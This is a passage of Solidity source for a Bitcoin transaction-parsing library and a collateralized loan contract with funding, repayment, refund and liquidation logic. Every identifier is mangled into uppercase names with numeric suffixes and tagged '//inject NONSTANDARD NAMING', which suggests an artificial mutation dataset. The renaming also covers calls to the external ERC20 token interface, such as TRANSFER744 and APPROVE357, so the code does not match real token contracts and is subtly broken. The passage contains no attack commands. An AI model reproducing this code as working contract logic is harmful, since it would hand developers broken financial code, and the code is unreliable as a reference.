BYTESTOUINT790(REVERSEENDIANNESS18(_input.SLICE479(36 + 1, _varIntDataLen))); } return (_varIntDataLen, _len); } function EXTRACTSEQUENCELEWITNESS46(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(37, 4); } function EXTRACTSEQUENCEWITNESS1000(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leSeqence = EXTRACTSEQUENCELEWITNESS46(_input); bytes memory _inputeSequence = REVERSEENDIANNESS18(_leSeqence); return uint32(BYTESTOUINT790(_inputeSequence)); } function EXTRACTOUTPOINT770(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(0, 36); } function EXTRACTINPUTTXIDLE232(bytes memory _input) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return _input.SLICE479(0, 32).TOBYTES32571(); } function EXTRACTINPUTTXID926(bytes memory _input) internal pure returns (bytes32) { //inject NONSTANDARD NAMING bytes memory _leId = abi.encodePacked(EXTRACTINPUTTXIDLE232(_input)); bytes memory _beId = REVERSEENDIANNESS18(_leId); return _beId.TOBYTES32571(); } function EXTRACTTXINDEXLE408(bytes memory _input) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _input.SLICE479(32, 4); } function EXTRACTTXINDEX998(bytes memory _input) internal pure returns (uint32) { //inject NONSTANDARD NAMING bytes memory _leIndex = EXTRACTTXINDEXLE408(_input); bytes memory _beIndex = REVERSEENDIANNESS18(_leIndex); return uint32(BYTESTOUINT790(_beIndex)); } function DETERMINEOUTPUTLENGTH588(bytes memory _output) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint8 _len = uint8(_output.SLICE479(8, 1)[0]); require(_len < 0xfd, "Multi-byte VarInts not supported"); return _len + 8 + 1; } function EXTRACTOUTPUTATINDEX182(bytes memory _vout, uint8 _index) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING uint256 _len; bytes memory _remaining; uint256 _offset = 1; for (uint8 _i = 0; _i < _index; _i ++) { _remaining = _vout.SLICE479(_offset, _vout.length - _offset); _len = DETERMINEOUTPUTLENGTH588(_remaining); _offset = _offset + _len; } _remaining = _vout.SLICE479(_offset, _vout.length - _offset); _len = DETERMINEOUTPUTLENGTH588(_remaining); return _vout.SLICE479(_offset, _len); } function EXTRACTOUTPUTSCRIPTLEN88(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _output.SLICE479(8, 1); } function EXTRACTVALUELE862(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _output.SLICE479(0, 8); } function EXTRACTVALUE239(bytes memory _output) internal pure returns (uint64) { //inject NONSTANDARD NAMING bytes memory _leValue = EXTRACTVALUELE862(_output); bytes memory _beValue = REVERSEENDIANNESS18(_leValue); return uint64(BYTESTOUINT790(_beValue)); } function EXTRACTOPRETURNDATA540(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING if (keccak256(_output.SLICE479(9, 1)) != keccak256(hex"6a")) { return hex""; } bytes memory _dataLen = _output.SLICE479(10, 1); return _output.SLICE479(11, BYTESTOUINT790(_dataLen)); } function EXTRACTHASH570(bytes memory _output) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING if (uint8(_output.SLICE479(9, 1)[0]) == 0) { uint256 _len = uint8(EXTRACTOUTPUTSCRIPTLEN88(_output)[0]) - 2; if (uint8(_output.SLICE479(10, 1)[0]) != uint8(_len)) { return hex""; } return _output.SLICE479(11, _len); } else { bytes32 _tag = keccak256(_output.SLICE479(8, 3)); if (_tag == keccak256(hex"1976a9")) { if (uint8(_output.SLICE479(11, 1)[0]) != 0x14 || keccak256(_output.SLICE479(_output.length - 2, 2)) != keccak256(hex"88ac")) { return hex""; } return _output.SLICE479(12, 20); } else if (_tag == keccak256(hex"17a914")) { if (uint8(_output.SLICE479(_output.length - 1, 1)[0]) != 0x87) { return hex""; } return _output.SLICE479(11, 20); } } return hex""; } function VALIDATEVIN629(bytes memory _vin) internal pure returns (bool) { //inject NONSTANDARD NAMING uint256 _offset = 1; uint8 _nIns = uint8(_vin.SLICE479(0, 1)[0]); if (_nIns >= 0xfd || _nIns == 0) { return false; } for (uint8 i = 0; i < _nIns; i++) { _offset += DETERMINEINPUTLENGTH677(_vin.SLICE479(_offset, _vin.length - _offset)); if (_offset > _vin.length) { return false; } } return _offset == _vin.length; } function VALIDATEVOUT976(bytes memory _vout) internal pure returns (bool) { //inject NONSTANDARD NAMING uint256 _offset = 1; uint8 _nOuts = uint8(_vout.SLICE479(0, 1)[0]); if (_nOuts >= 0xfd || _nOuts == 0) { return false; } for (uint8 i = 0; i < _nOuts; i++) { _offset += DETERMINEOUTPUTLENGTH588(_vout.SLICE479(_offset, _vout.length - _offset)); if (_offset > _vout.length) { return false; } } return _offset == _vout.length; } function EXTRACTMERKLEROOTLE545(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(36, 32); } function EXTRACTMERKLEROOTBE364(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return REVERSEENDIANNESS18(EXTRACTMERKLEROOTLE545(_header)); } function EXTRACTTARGET28(bytes memory _header) internal pure returns (uint256) { //inject NONSTANDARD NAMING bytes memory _m = _header.SLICE479(72, 3); uint8 _e = uint8(_header[75]); uint256 _mantissa = BYTESTOUINT790(REVERSEENDIANNESS18(_m)); uint _exponent = _e - 3; return _mantissa * (256 ** _exponent); } function CALCULATEDIFFICULTY733(uint256 _target) internal pure returns (uint256) { //inject NONSTANDARD NAMING return diff1_target719.DIV358(_target); } function EXTRACTPREVBLOCKLE989(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(4, 32); } function EXTRACTPREVBLOCKBE985(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return REVERSEENDIANNESS18(EXTRACTPREVBLOCKLE989(_header)); } function EXTRACTTIMESTAMPLE896(bytes memory _header) internal pure returns (bytes memory) { //inject NONSTANDARD NAMING return _header.SLICE479(68, 4); } function EXTRACTTIMESTAMP636(bytes memory _header) internal pure returns (uint32) { //inject NONSTANDARD NAMING return uint32(BYTESTOUINT790(REVERSEENDIANNESS18(EXTRACTTIMESTAMPLE896(_header)))); } function EXTRACTDIFFICULTY209(bytes memory _header) internal pure returns (uint256) { //inject NONSTANDARD NAMING return CALCULATEDIFFICULTY733(EXTRACTTARGET28(_header)); } function _HASH256MERKLESTEP183(bytes memory _a, bytes memory _b) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return HASH256986(abi.encodePacked(_a, _b)); } function VERIFYHASH256MERKLE9(bytes memory _proof, uint _index) internal pure returns (bool) { //inject NONSTANDARD NAMING if (_proof.length % 32 != 0) { return false; } if (_proof.length == 32) { return true; } if (_proof.length == 64) { return false; } uint _idx = _index; bytes32 _root = _proof.SLICE479(_proof.length - 32, 32).TOBYTES32571(); bytes32 _current = _proof.SLICE479(0, 32).TOBYTES32571(); for (uint i = 1; i < (_proof.length.DIV358(32)) - 1; i++) { if (_idx % 2 == 1) { _current = _HASH256MERKLESTEP183(_proof.SLICE479(i * 32, 32), abi.encodePacked(_current)); } else { _current = _HASH256MERKLESTEP183(abi.encodePacked(_current), _proof.SLICE479(i * 32, 32)); } _idx = _idx >> 1; } return _current == _root; } function RETARGETALGORITHM78( //inject NONSTANDARD NAMING uint256 _previousTarget, uint256 _firstTimestamp, uint256 _secondTimestamp ) internal pure returns (uint256) { uint256 _elapsedTime = _secondTimestamp.SUB97(_firstTimestamp); if (_elapsedTime < retarget_period820.DIV358(4)) { _elapsedTime = retarget_period820.DIV358(4); } if (_elapsedTime > retarget_period820.MUL111(4)) { _elapsedTime = retarget_period820.MUL111(4); } uint256 _adjusted = _previousTarget.DIV358(65536).MUL111(_elapsedTime); return _adjusted.DIV358(retarget_period820).MUL111(65536); } } interface FundsInterface { function LENDER92(bytes32) external view returns (address); //inject NONSTANDARD NAMING function CUSTOM642(bytes32) external view returns (bool); //inject NONSTANDARD NAMING function DEPOSIT909(bytes32, uint256) external; //inject NONSTANDARD NAMING function DECREASETOTALBORROW522(uint256) external; //inject NONSTANDARD NAMING function CALCGLOBALINTEREST773() external; //inject NONSTANDARD NAMING } interface SalesInterface { function SALEINDEXBYLOAN897(bytes32, uint256) external returns(bytes32); //inject NONSTANDARD NAMING function SETTLEMENTEXPIRATION526(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING function ACCEPTED582(bytes32) external view returns (bool); //inject NONSTANDARD NAMING function NEXT199(bytes32) external view returns (uint256); //inject NONSTANDARD NAMING function CREATE943(bytes32, address, address, address, address, bytes32, bytes32, bytes32, bytes32, bytes20) external returns(bytes32); //inject NONSTANDARD NAMING } interface CollateralInterface { function ONDEMANDSPV389() external view returns(address); //inject NONSTANDARD NAMING function COLLATERAL382(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function REFUNDABLECOLLATERAL879(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function SEIZABLECOLLATERAL368(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function TEMPORARYREFUNDABLECOLLATERAL760(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function TEMPORARYSEIZABLECOLLATERAL228(bytes32 loan) external view returns (uint256); //inject NONSTANDARD NAMING function SETCOLLATERAL164(bytes32 loan, uint256 refundableCollateral_, uint256 seizableCollateral_) external; //inject NONSTANDARD NAMING function REQUESTSPV477(bytes32 loan) external; //inject NONSTANDARD NAMING function CANCELSPV463(bytes32 loan) external; //inject NONSTANDARD NAMING } contract DSMath { function ADD803(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require((z = x + y) >= x); } function SUB97(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require((z = x - y) <= x); } function MUL111(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING require(y == 0 || (z = x * y) / y == x); } function DIV358(uint a, uint b) internal pure returns (uint c) { //inject NONSTANDARD NAMING require(b > 0); c = a / b; } function MIN456(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING return x <= y ? x : y; } function MAX638(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING return x >= y ? x : y; } function IMIN865(int x, int y) internal pure returns (int z) { //inject NONSTANDARD NAMING return x <= y ? x : y; } function IMAX990(int x, int y) internal pure returns (int z) { //inject NONSTANDARD NAMING return x >= y ? x : y; } uint constant col735 = 10 ** 8; //inject NONSTANDARD NAMING uint constant wad510 = 10 ** 18; //inject NONSTANDARD NAMING uint constant ray271 = 10 ** 27; //inject NONSTANDARD NAMING function CMUL87(uint x, uint y) public pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), col735 / 2) / col735; } function WMUL533(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), wad510 / 2) / wad510; } function RMUL965(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, y), ray271 / 2) / ray271; } function CDIV416(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, col735), y / 2) / y; } function WDIV128(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, wad510), y / 2) / y; } function RDIV519(uint x, uint y) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = ADD803(MUL111(x, ray271), y / 2) / y; } function RPOW933(uint x, uint n) internal pure returns (uint z) { //inject NONSTANDARD NAMING z = n % 2 != 0 ? x : ray271; for (n /= 2; n != 0; n /= 2) { x = RMUL965(x, x); if (n % 2 != 0) { z = RMUL965(z, x); } } } } contract Medianizer { function PEEK685() external view returns (bytes32, bool); //inject NONSTANDARD NAMING function READ913() external returns (bytes32); //inject NONSTANDARD NAMING function POKE561() external; //inject NONSTANDARD NAMING function POKE561(bytes32) external; //inject NONSTANDARD NAMING function FUND172 (uint256 amount, ERC20 token) external; //inject NONSTANDARD NAMING } contract Loans is DSMath { FundsInterface funds; Medianizer med; SalesInterface sales; CollateralInterface col; uint256 public constant approve_exp_threshold840 = 2 hours; //inject NONSTANDARD NAMING uint256 public constant accept_exp_threshold947 = 2 days; //inject NONSTANDARD NAMING uint256 public constant liquidation_exp_threshold443 = 7 days; //inject NONSTANDARD NAMING uint256 public constant seizure_exp_threshold699 = 2 days; //inject NONSTANDARD NAMING uint256 public constant liquidation_discount317 = 930000000000000000; //inject NONSTANDARD NAMING uint256 public constant max_num_liquidations552 = 3; //inject NONSTANDARD NAMING uint256 public constant max_uint_256251 = 2**256-1; //inject NONSTANDARD NAMING mapping (bytes32 => Loan) public loans; mapping (bytes32 => PubKeys) public pubKeys; mapping (bytes32 => SecretHashes) public secretHashes; mapping (bytes32 => Bools) public bools; mapping (bytes32 => bytes32) public fundIndex; mapping (bytes32 => uint256) public repayments; mapping (address => bytes32[]) public borrowerLoans; mapping (address => bytes32[]) public lenderLoans; mapping (address => mapping(uint256 => bool)) public addressToTimestamp; uint256 public loanIndex; ERC20 public token; uint256 public decimals; address deployer; struct Loan { address borrower; address lender; address arbiter; uint256 createdAt; uint256 loanExpiration; uint256 requestTimestamp; uint256 closedTimestamp; uint256 principal; uint256 interest; uint256 penalty; uint256 fee; uint256 liquidationRatio; } struct PubKeys { bytes borrowerPubKey; bytes lenderPubKey; bytes arbiterPubKey; } struct SecretHashes { bytes32 secretHashA1; bytes32[3] secretHashAs; bytes32 secretHashB1; bytes32[3] secretHashBs; bytes32 secretHashC1; bytes32[3] secretHashCs; bytes32 withdrawSecret; bytes32 acceptSecret; bool set; } struct Bools { bool funded; bool approved; bool withdrawn; bool sale; bool paid; bool off; } event CREATE22(bytes32 loan); //inject NONSTANDARD NAMING event SETSECRETHASHES818(bytes32 loan); //inject NONSTANDARD NAMING event FUNDLOAN50(bytes32 loan); //inject NONSTANDARD NAMING event APPROVE490(bytes32 loan); //inject NONSTANDARD NAMING event WITHDRAW160(bytes32 loan, bytes32 secretA1); //inject NONSTANDARD NAMING event REPAY404(bytes32 loan, uint256 amount); //inject NONSTANDARD NAMING event REFUND289(bytes32 loan); //inject NONSTANDARD NAMING event CANCEL833(bytes32 loan, bytes32 secret); //inject NONSTANDARD NAMING event ACCEPT489(bytes32 loan, bytes32 secret); //inject NONSTANDARD NAMING event LIQUIDATE130(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash); //inject NONSTANDARD NAMING function BORROWER75(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].borrower; } function LENDER92(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].lender; } function ARBITER4(bytes32 loan) external view returns (address) { //inject NONSTANDARD NAMING return loans[loan].arbiter; } function APPROVEEXPIRATION234(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].createdAt, approve_exp_threshold840); } function ACCEPTEXPIRATION879(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].loanExpiration, accept_exp_threshold947); } function LIQUIDATIONEXPIRATION442(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(loans[loan].loanExpiration, liquidation_exp_threshold443); } function SEIZUREEXPIRATION523(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(LIQUIDATIONEXPIRATION442(loan), seizure_exp_threshold699); } function PRINCIPAL566(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].principal; } function INTEREST523(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].interest; } function FEE426(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].fee; } function PENALTY434(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].penalty; } function COLLATERAL382(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return col.COLLATERAL382(loan); } function REFUNDABLECOLLATERAL879(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.REFUNDABLECOLLATERAL879(loan); } function SEIZABLECOLLATERAL368(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.SEIZABLECOLLATERAL368(loan); } function TEMPORARYREFUNDABLECOLLATERAL760(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.TEMPORARYREFUNDABLECOLLATERAL760(loan); } function TEMPORARYSEIZABLECOLLATERAL228(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return col.TEMPORARYSEIZABLECOLLATERAL228(loan); } function REPAID307(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return repayments[loan]; } function LIQUIDATIONRATIO684(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return loans[loan].liquidationRatio; } function OWEDTOLENDER7(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(PRINCIPAL566(loan), INTEREST523(loan)); } function OWEDFORLOAN262(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(OWEDTOLENDER7(loan), FEE426(loan)); } function OWEDFORLIQUIDATION588(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return ADD803(OWEDFORLOAN262(loan), PENALTY434(loan)); } function OWING794(bytes32 loan) external view returns (uint256) { //inject NONSTANDARD NAMING return SUB97(OWEDFORLOAN262(loan), REPAID307(loan)); } function FUNDED74(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].funded; } function APPROVED714(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].approved; } function WITHDRAWN418(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].withdrawn; } function SALE305(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].sale; } function PAID214(bytes32 loan) external view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].paid; } function OFF578(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return bools[loan].off; } function DMUL562(uint x) public view returns (uint256) { //inject NONSTANDARD NAMING return MUL111(x, (10 ** SUB97(18, decimals))); } function DDIV45(uint x) public view returns (uint256) { //inject NONSTANDARD NAMING return DIV358(x, (10 ** SUB97(18, decimals))); } function BORROWERLOANCOUNT920(address borrower_) external view returns (uint256) { //inject NONSTANDARD NAMING return borrowerLoans[borrower_].length; } function LENDERLOANCOUNT648(address lender_) external view returns (uint256) { //inject NONSTANDARD NAMING return lenderLoans[lender_].length; } function MINSEIZABLECOLLATERAL886(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING (bytes32 val, bool set) = med.PEEK685(); require(set, "Loans.minSeizableCollateral: Medianizer must be set"); uint256 price = uint(val); return DIV358(WDIV128(DMUL562(SUB97(OWEDFORLOAN262(loan), REPAID307(loan))), price), DIV358(wad510, col735)); } function COLLATERALVALUE260(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING (bytes32 val, bool set) = med.PEEK685(); require(set, "Loans.collateralValue: Medianizer must be set"); uint256 price = uint(val); return CMUL87(price, COLLATERAL382(loan)); } function MINCOLLATERALVALUE408(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return RMUL965(DMUL562(SUB97(OWEDFORLOAN262(loan), REPAID307(loan))), LIQUIDATIONRATIO684(loan)); } function DISCOUNTCOLLATERALVALUE221(bytes32 loan) public view returns (uint256) { //inject NONSTANDARD NAMING return WMUL533(COLLATERALVALUE260(loan), liquidation_discount317); } function SAFE528(bytes32 loan) public view returns (bool) { //inject NONSTANDARD NAMING return COLLATERALVALUE260(loan) >= MINCOLLATERALVALUE408(loan); } constructor (FundsInterface funds_, Medianizer med_, ERC20 token_, uint256 decimals_) public { require(address(funds_) != address(0), "Funds address must be non-zero"); require(address(med_) != address(0), "Medianizer address must be non-zero"); require(address(token_) != address(0), "Token address must be non-zero"); deployer = msg.sender; funds = funds_; med = med_; token = token_; decimals = decimals_; require(token.APPROVE357(address(funds), max_uint_256251), "Token approve failed"); } function SETSALES924(SalesInterface sales_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Loans.setSales: Only the deployer can perform this"); require(address(sales) == address(0), "Loans.setSales: The Sales address has already been set"); require(address(sales_) != address(0), "Loans.setSales: Sales address must be non-zero"); sales = sales_; } function SETCOLLATERAL164(CollateralInterface col_) external { //inject NONSTANDARD NAMING require(msg.sender == deployer, "Loans.setCollateral: Only the deployer can perform this"); require(address(col) == address(0), "Loans.setCollateral: The Collateral address has already been set"); require(address(col_) != address(0), "Loans.setCollateral: Collateral address must be non-zero"); col = col_; } function CREATE943( //inject NONSTANDARD NAMING uint256 loanExpiration_, address[3] calldata usrs_, uint256[7] calldata vals_, bytes32 fund ) external returns (bytes32 loan) { if (fund != bytes32(0)) { require(funds.LENDER92(fund) == usrs_[1], "Loans.create: Lender of Fund not in args"); } require(!addressToTimestamp[usrs_[0]][vals_[6]], "Loans.create: Duplicate request timestamps are not allowed"); require(loanExpiration_ > now, "Loans.create: loanExpiration must be greater than `now`"); require(usrs_[0] != address(0) && usrs_[1] != address(0), "Loans.create: Borrower and Lender address must be non-zero"); require(vals_[0] != 0 && vals_[4] != 0, "Loans.create: Principal and Collateral must be non-zero"); require(vals_[5] != 0 && vals_[6] != 0, "Loans.create: Liquidation ratio and Request timestamp must be non-zero"); loanIndex = ADD803(loanIndex, 1); loan = bytes32(loanIndex); loans[loan].createdAt = now; loans[loan].loanExpiration = loanExpiration_; loans[loan].borrower = usrs_[0]; loans[loan].lender = usrs_[1]; loans[loan].arbiter = usrs_[2]; loans[loan].principal = vals_[0]; loans[loan].interest = vals_[1]; loans[loan].penalty = vals_[2]; loans[loan].fee = vals_[3]; uint256 minSeizableCol = MINSEIZABLECOLLATERAL886(loan); col.SETCOLLATERAL164(loan, SUB97(vals_[4], minSeizableCol), minSeizableCol); loans[loan].liquidationRatio = vals_[5]; loans[loan].requestTimestamp = vals_[6]; fundIndex[loan] = fund; secretHashes[loan].set = false; borrowerLoans[usrs_[0]].push(bytes32(loanIndex)); lenderLoans[usrs_[1]].push(bytes32(loanIndex)); addressToTimestamp[usrs_[0]][vals_[6]] = true; emit CREATE22(loan); } function SETSECRETHASHES742( //inject NONSTANDARD NAMING bytes32 loan, bytes32[4] calldata borrowerSecretHashes, bytes32[4] calldata lenderSecretHashes, bytes32[4] calldata arbiterSecretHashes, bytes calldata borrowerPubKey_, bytes calldata lenderPubKey_, bytes calldata arbiterPubKey_ ) external { require(!secretHashes[loan].set, "Loans.setSecretHashes: Secret hashes must not already be set"); require( msg.sender == loans[loan].borrower || msg.sender == loans[loan].lender || msg.sender == address(funds), "Loans.setSecretHashes: msg.sender must be Borrower, Lender or Funds Address" ); secretHashes[loan].secretHashA1 = borrowerSecretHashes[0]; secretHashes[loan].secretHashAs = [ borrowerSecretHashes[1], borrowerSecretHashes[2], borrowerSecretHashes[3] ]; secretHashes[loan].secretHashB1 = lenderSecretHashes[0]; secretHashes[loan].secretHashBs = [ lenderSecretHashes[1], lenderSecretHashes[2], lenderSecretHashes[3] ]; secretHashes[loan].secretHashC1 = arbiterSecretHashes[0]; secretHashes[loan].secretHashCs = [ arbiterSecretHashes[1], arbiterSecretHashes[2], arbiterSecretHashes[3] ]; pubKeys[loan].borrowerPubKey = borrowerPubKey_; pubKeys[loan].lenderPubKey = lenderPubKey_; pubKeys[loan].arbiterPubKey = arbiterPubKey_; secretHashes[loan].set = true; } function FUND172(bytes32 loan) external { //inject NONSTANDARD NAMING require(secretHashes[loan].set, "Loans.fund: Secret hashes must be set"); require(bools[loan].funded == false, "Loans.fund: Loan is already funded"); bools[loan].funded = true; require(token.TRANSFERFROM570(msg.sender, address(this), PRINCIPAL566(loan)), "Loans.fund: Failed to transfer tokens"); emit FUNDLOAN50(loan); } function APPROVE357(bytes32 loan) external { //inject NONSTANDARD NAMING require(bools[loan].funded == true, "Loans.approve: Loan must be funded"); require(loans[loan].lender == msg.sender, "Loans.approve: Only the lender can approve the loan"); require(now <= APPROVEEXPIRATION234(loan), "Loans.approve: Loan is past the approve deadline"); bools[loan].approved = true; emit APPROVE490(loan); } function WITHDRAW186(bytes32 loan, bytes32 secretA1) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.withdraw: Loan cannot be inactive"); require(bools[loan].funded == true, "Loans.withdraw: Loan must be funded"); require(bools[loan].approved == true, "Loans.withdraw: Loan must be approved"); require(bools[loan].withdrawn == false, "Loans.withdraw: Loan principal has already been withdrawn"); require(sha256(abi.encodePacked(secretA1)) == secretHashes[loan].secretHashA1, "Loans.withdraw: Secret does not match"); bools[loan].withdrawn = true; require(token.TRANSFER744(loans[loan].borrower, PRINCIPAL566(loan)), "Loans.withdraw: Failed to transfer tokens"); secretHashes[loan].withdrawSecret = secretA1; if (address(col.ONDEMANDSPV389()) != address(0)) {col.REQUESTSPV477(loan);} emit WITHDRAW160(loan, secretA1); } function REPAY242(bytes32 loan, uint256 amount) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.repay: Loan cannot be inactive"); require(!SALE305(loan), "Loans.repay: Loan cannot be undergoing a liquidation"); require(bools[loan].withdrawn == true, "Loans.repay: Loan principal must be withdrawn"); require(now <= loans[loan].loanExpiration, "Loans.repay: Loan cannot have expired"); require(ADD803(amount, REPAID307(loan)) <= OWEDFORLOAN262(loan), "Loans.repay: Cannot repay more than the owed amount"); require(token.TRANSFERFROM570(msg.sender, address(this), amount), "Loans.repay: Failed to transfer tokens"); repayments[loan] = ADD803(amount, repayments[loan]); if (REPAID307(loan) == OWEDFORLOAN262(loan)) { bools[loan].paid = true; if (address(col.ONDEMANDSPV389()) != address(0)) {col.CANCELSPV463(loan);} } emit REPAY404(loan, amount); } function REFUND497(bytes32 loan) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.refund: Loan cannot be inactive"); require(!SALE305(loan), "Loans.refund: Loan cannot be undergoing a liquidation"); require(now > ACCEPTEXPIRATION879(loan), "Loans.refund: Cannot request refund until after acceptExpiration"); require(bools[loan].paid == true, "Loans.refund: The loan must be repaid"); require(msg.sender == loans[loan].borrower, "Loans.refund: Only the borrower can request a refund"); bools[loan].off = true; loans[loan].closedTimestamp = now; if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); funds.CALCGLOBALINTEREST773(); } require(token.TRANSFER744(loans[loan].borrower, OWEDFORLOAN262(loan)), "Loans.refund: Failed to transfer tokens"); emit REFUND289(loan); } function CANCEL391(bytes32 loan, bytes32 secret) external { //inject NONSTANDARD NAMING ACCEPT922(loan, secret); emit CANCEL833(loan, secret); } function CANCEL391(bytes32 loan) external { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.cancel: Loan must not be inactive"); require(bools[loan].withdrawn == false, "Loans.cancel: Loan principal must not be withdrawn"); require(now >= SEIZUREEXPIRATION523(loan), "Loans.cancel: Seizure deadline has not been reached"); require(bools[loan].sale == false, "Loans.cancel: Loan must not be undergoing liquidation"); CLOSE691(loan); emit CANCEL833(loan, bytes32(0)); } function ACCEPT922(bytes32 loan, bytes32 secret) public { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.accept: Loan must not be inactive"); require(bools[loan].withdrawn == false || bools[loan].paid == true, "Loans.accept: Loan must be either not withdrawn or repaid"); require(msg.sender == loans[loan].lender || msg.sender == loans[loan].arbiter, "Loans.accept: msg.sender must be lender or arbiter"); require(now <= ACCEPTEXPIRATION879(loan), "Loans.accept: Acceptance deadline has past"); require(bools[loan].sale == false, "Loans.accept: Loan must not be going under liquidation"); require( sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashB1 || sha256(abi.encodePacked(secret)) == secretHashes[loan].secretHashC1, "Loans.accept: Invalid secret" ); secretHashes[loan].acceptSecret = secret; CLOSE691(loan); emit ACCEPT489(loan, secret); } function CLOSE691(bytes32 loan) private { //inject NONSTANDARD NAMING bools[loan].off = true; loans[loan].closedTimestamp = now; if (bools[loan].withdrawn == false) { if (fundIndex[loan] == bytes32(0)) { require(token.TRANSFER744(loans[loan].lender, loans[loan].principal), "Loans.close: Failed to transfer principal to Lender"); } else { if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); } funds.DEPOSIT909(fundIndex[loan], loans[loan].principal); } } else { if (fundIndex[loan] == bytes32(0)) { require(token.TRANSFER744(loans[loan].lender, OWEDTOLENDER7(loan)), "Loans.close: Failed to transfer owedToLender to Lender"); } else { if (funds.CUSTOM642(fundIndex[loan]) == false) { funds.DECREASETOTALBORROW522(loans[loan].principal); } funds.DEPOSIT909(fundIndex[loan], OWEDTOLENDER7(loan)); } require(token.TRANSFER744(loans[loan].arbiter, FEE426(loan)), "Loans.close: Failed to transfer fee to Arbiter"); } } function LIQUIDATE339(bytes32 loan, bytes32 secretHash, bytes20 pubKeyHash) external returns (bytes32 sale_) { //inject NONSTANDARD NAMING require(!OFF578(loan), "Loans.liquidate: Loan must not be inactive"); require(bools[loan].withdrawn == true, "Loans.liquidate: Loan principal must be withdrawn"); require(msg.sender != loans[loan].borrower && msg.sender != loans[loan].lender, "Loans.liquidate: Liquidator must be a third-party"); require(secretHash != bytes32(0) && pubKeyHash != bytes20(0), "Loans.liquidate: secretHash and pubKeyHash must be non-zero"); if (sales.NEXT199(loan) == 0) { if (now > loans[loan].loanExpiration) { require(bools[loan].paid == false, "Loans.liquidate: loan must not have already been repaid"); } else { require(!SAFE528(loan), "Loans.liquidate: collateralization must be below min-collateralization ratio"); } if (funds.CUSTOM642(fundIndex[loan]) == false) { 